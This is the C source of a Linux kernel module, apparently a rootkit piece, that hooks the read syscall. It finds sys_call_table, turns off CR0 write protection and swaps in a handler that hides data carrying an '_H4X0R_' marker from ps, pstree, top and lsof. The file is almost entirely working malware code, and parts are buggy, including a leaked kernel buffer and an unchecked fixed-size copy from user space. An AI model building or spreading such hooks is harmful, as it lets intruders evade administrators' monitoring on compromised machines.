read.c

#include <linux/module.h>
#include <linux/slab.h>
#include <linux/string.h>
#include <linux/moduleparam.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/tty.h>
#include <linux/unistd.h>
#include <linux/syscalls.h>
#include <linux/kallsyms.h>
#include <linux/fdtable.h>
#include <linux/set_memory.h>
#include <asm/uaccess.h>
#include <asm/cacheflush.h>
#include <linux/sched.h>
#include <linux/file.h>
#include <linux/proc_fs.h>
#include <asm/ptrace.h>
#include "config.h"




MODULE_LICENSE("GPL");

char *sym_name = "sys_call_table";

typedef asmlinkage long (*sys_call_ptr_t)(const struct pt_regs *);

static sys_call_ptr_t *sys_call_table;

typedef asmlinkage unsigned long ( *original_read ) ( const struct pt_regs *regs );
original_read old_read;



inline void mywrite_cr0(unsigned long cr0) {
  asm volatile("mov %0,%%cr0" : "+r"(cr0), "+m"(__force_order));
}

void enable_write_protection(void) {
  unsigned long cr0 = read_cr0();
  set_bit(16, &cr0);
  mywrite_cr0(cr0);
}

void disable_write_protection(void) {
  unsigned long cr0 = read_cr0();
  clear_bit(16, &cr0);
  mywrite_cr0(cr0);
}


asmlinkage int h4x_read( const struct pt_regs *regs ){
    //pr_info("inside %s\n",__func__);

    unsigned int fd = regs->di;
    //pr_info("fd %lu\n",fd);

        char *buf = (char*) regs->si;
    //pr_info("buf %p\n",buf);

    size_t count=regs->dx;
    //pr_info("regs %d\n",count); // third argument is passed into the rdx register

    int r;
    char *kbuf=(char*)kmalloc(256,GFP_KERNEL);

    /*If output is redirected to file or grep, hide it*/
    copy_from_user(kbuf,buf,255);
    //copy_to_user(buf, kbuf, sizeof(kbuf));

    if ((strstr(current->comm,"ps"))||(strstr(current->comm,"pstree"))||
            (strstr(current->comm,"top"))||(strstr(current->comm,"lsof"))){
        //pr_info("Inside current->comm, ps");
        if(strstr(kbuf,_H4X0R_)){
            //pr_info("Inside strstr(kbuf,_H4X0R_)");
            kfree(kbuf);
                return -ENOENT;
        }
    }
    //r=original_read(regs);

    return old_read(regs);

}


static int __init start(void)
{
    pr_info("Inside %s\n",__func__);

    sys_call_table = (sys_call_ptr_t *)kallsyms_lookup_name(sym_name);
    pr_info("sys_call_table %p\n",sys_call_table);

    old_read = (original_read)sys_call_table[__NR_read];
    pr_info("old_read contains %p\n",old_read);

    preempt_disable(); // for locking purpose
    disable_write_protection();

    pr_info("Disable page Write protection and locking \n");

    // Both works
    //sys_call_table[__NR_read] = (sys_call_ptr_t)&hacked_read_test;
    sys_call_table[__NR_read] = (sys_call_ptr_t)h4x_read;
    pr_info("sys_call_table[__NR_read] contains %p \n", sys_call_table[__NR_read]);

    enable_write_protection();
    preempt_enable();
    pr_info("Enable page Write protection and locking \n");


  return 0;
}


/*delete module rmmod*/
void __exit exit(void)
{
    pr_info("Inside %s\n",__func__);
    printk(KERN_INFO "Cleaning up syscall hook.\n");

    preempt_disable();
    disable_write_protection();

    sys_call_table[__NR_read] = (sys_call_ptr_t)old_read;

    enable_write_protection();
    preempt_enable();

}

module_init(start);
module_exit(exit);